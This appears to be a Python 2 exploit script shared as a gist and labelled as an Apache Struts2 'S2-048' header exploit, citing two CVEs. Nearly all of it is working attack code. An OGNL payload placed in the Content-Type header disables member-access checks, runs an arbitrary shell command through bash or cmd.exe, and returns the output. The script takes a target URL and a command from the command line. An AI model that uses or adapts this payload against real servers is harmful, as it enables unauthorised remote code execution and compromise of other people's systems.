exploit-headers.py

gistfile1.txt

#!/usr/bin/python
# Strut2 S2-048 Headers Exploit

# From https://github.com/rapid7/metasploit-framework/issues/8064
# From CVE-2017-9791
# From CVE-2017-5638

# Coded by Xcepti0n

import requests
import urlparse
import sys

def exploit(url, cmd):
    print("[+] /bin/bash -c %s" % cmd)
    payload =  "${"
    payload += "(#szgx='multipart/form-data')."
    payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())"
    payload += "}"

    headers = {
	"Content-type": payload
    }

    data = {
        "username": 'none',
        "password": 'none'
    }
    try:
        r = requests.post(url, headers=headers, data=data)
        print r.text
    except Exception as e:
        print str(e)

if __name__ == '__main__':
    if len(sys.argv) != 3:
        print('./exploit.py URI.action "shell cmd"')
        sys.exit(1)
    print('[-] Exploiting Apache Struts2 S2-048 - Content-Headers')
    url = sys.argv[1]
    cmd = sys.argv[2]

    exploit(url, cmd)